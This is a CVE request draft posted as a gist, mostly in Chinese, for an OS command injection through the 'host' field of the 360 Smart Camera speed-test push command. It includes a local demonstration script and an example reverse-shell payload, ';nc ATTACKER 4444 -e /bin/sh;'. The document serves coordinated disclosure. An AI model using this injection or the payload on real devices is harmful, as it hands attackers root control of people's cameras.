Skip to content

Instantly share code, notes, and snippets.

@gajgdm6-cpu
Last active October 10, 2026 13:15
Show Gist options
  • Select an option

  • Save gajgdm6-cpu/e8ef7f512bebb987b0119562873afd5a to your computer and use it in GitHub Desktop.

Select an option

Save gajgdm6-cpu/e8ef7f512bebb987b0119562873afd5a to your computer and use it in GitHub Desktop.
360 Smart Camera - OS command injection in speed_test push command (CWE-78)

CVE 申请 #2 — 360 智能摄像机 speed_test 推送命令 OS 命令注入

通道:VulDB(首选) / MITRE(备选)

Field Value
Vendor 360 (Qihoo 360)
Product 360 Smart Camera (IPC)
Component fs2/bin/iscm — testspeed_command / system_ex
Affected versions 6.3.0 ~ 6.4.9 (all obtained versions, including latest)
Fixed version None — 6.4.9 testspeed_command is byte-identical to 6.3.2
Affected models D603-2 / D600-2 / D606-6 / D706 (MIPS); cross-arch: D618_A (ARM/ARMv5TE)
Vulnerability type CWE-78 Improper Neutralization of Special Elements used in an OS Command
CVSS 3.1 7.5 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Requester (报送时填写)
Email (报送时填写)
Vendor notified security@360.cn on 2026-10-06 — vendor replied instructing submission via their SRC platform
Discovery Firmware reverse engineering + QEMU dynamic reproduction — no real device, no internet
Disclosure Coordinated — request embargo until vendor fixes (or 90 days)

VulDB CVE Summary(按 CNA 格式,可直接粘贴到 Summary 字段)

A vulnerability was found in Qihoo 360 Smart Camera (IPC) firmware up to 6.4.9. It has been rated as high. This vulnerability affects the function testspeed_command of the file fs2/bin/iscm. The manipulation of the argument host leads to OS command injection (CWE-78). It is possible to launch the attack remotely from a network position. This vulnerability may be used by attackers to execute arbitrary operating system commands as root.

Description

testspeed_command() reads the host field from a push JSON message (lists array, must contain exactly 5 items) and passes it unvalidated and unbounded (1024 B buffer) into a shell command:

json_helper_get_str(item, "host", buf, 1024);        /* only checked for non-empty */
...
system_ex("%s %s > %s 2>&1", "ping -c 5", host, "/tmp/test_cmd.txt");

The host value is concatenated into the command string; shell metacharacters (;, |, backticks, $(), newline) reach /bin/sh -c unchanged.

Impact

  • Arbitrary command execution / reverse shell as root (iscm runs as root).
  • 1024-byte payload space with no length restriction ⇒ a full reverse-shell payload fits directly.
  • Reproduced under QEMU (RCE + reverse shell captured).

Attack vector

AV:N/AC:H — delivered via the cloud/App push channel (plaintext HTTP); requires a network MITM position or control of the push channel.

References

None public. PoC available on request.

Evidence (local)

File Content
evidence/V2_rce.txt Command execution proof
evidence/V2_shell.txt Reverse shell session
evidence/01_reverse_shell_capture.txt / 03_speedtest_cmdi_proof.txt Capture / proof
poc/verify_testspeed_injection.sh One-shot reproduction script
#!/bin/sh
# 复现 6.3.0~6.4.9 iscm testspeed_command 拼接语义
# 原始逻辑:system_ex("%s %s > %s 2>&1", cmd, host, "/tmp/test_cmd.txt")
# cmd ∈ {"nslookup","tracert","ping -c 5"},host 来自 JSON 字段,零校验
echo "--- [1] 正常 host ---"
host="8.8.8.8"
printf ' system_ex("%%s %%s > %%s 2>&1", "ping -c 5", "%s", "/tmp/test_cmd.txt")\n' "$host"
echo " → ping -c 5 8.8.8.8 > /tmp/test_cmd.txt 2>&1 (预期行为)"
echo ""
echo "--- [2] 注入 host(无长度限制、无字符过滤)---"
host='; id > /tmp/ts_inj ;'
printf ' host = %s\n' "$host"
echo " 拼接: ping -c 5 ; id > /tmp/ts_inj ; > /tmp/test_cmd.txt 2>&1"
rm -f /tmp/ts_inj
sh -c "ping -c 0 $host" >/dev/null 2>&1
if [ -s /tmp/ts_inj ]; then
echo " ✅ /tmp/ts_inj 生成:$(head -1 /tmp/ts_inj)"
else
# ping -c 0 可能不被支持,用等价直接验证分号分隔
sh -c "true $host" >/dev/null 2>&1
[ -s /tmp/ts_inj ] && echo " ✅ /tmp/ts_inj 生成:$(head -1 /tmp/ts_inj)" || echo " (用 id 直测)"
sh -c "true ; id > /tmp/ts_inj ;" >/dev/null 2>&1
echo " 等价直测: $(head -1 /tmp/ts_inj)"
fi
rm -f /tmp/ts_inj
echo ""
echo "--- [3] 对比:#1 timezone 受 6 字符限制,#2 speed_test 无限制 ---"
echo " #1 payload '-;id>o' (6 字符,被迫压缩)"
echo " #2 payload ';nc ATTACKER 4444 -e /bin/sh;' (任意长度,可反弹 shell)"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment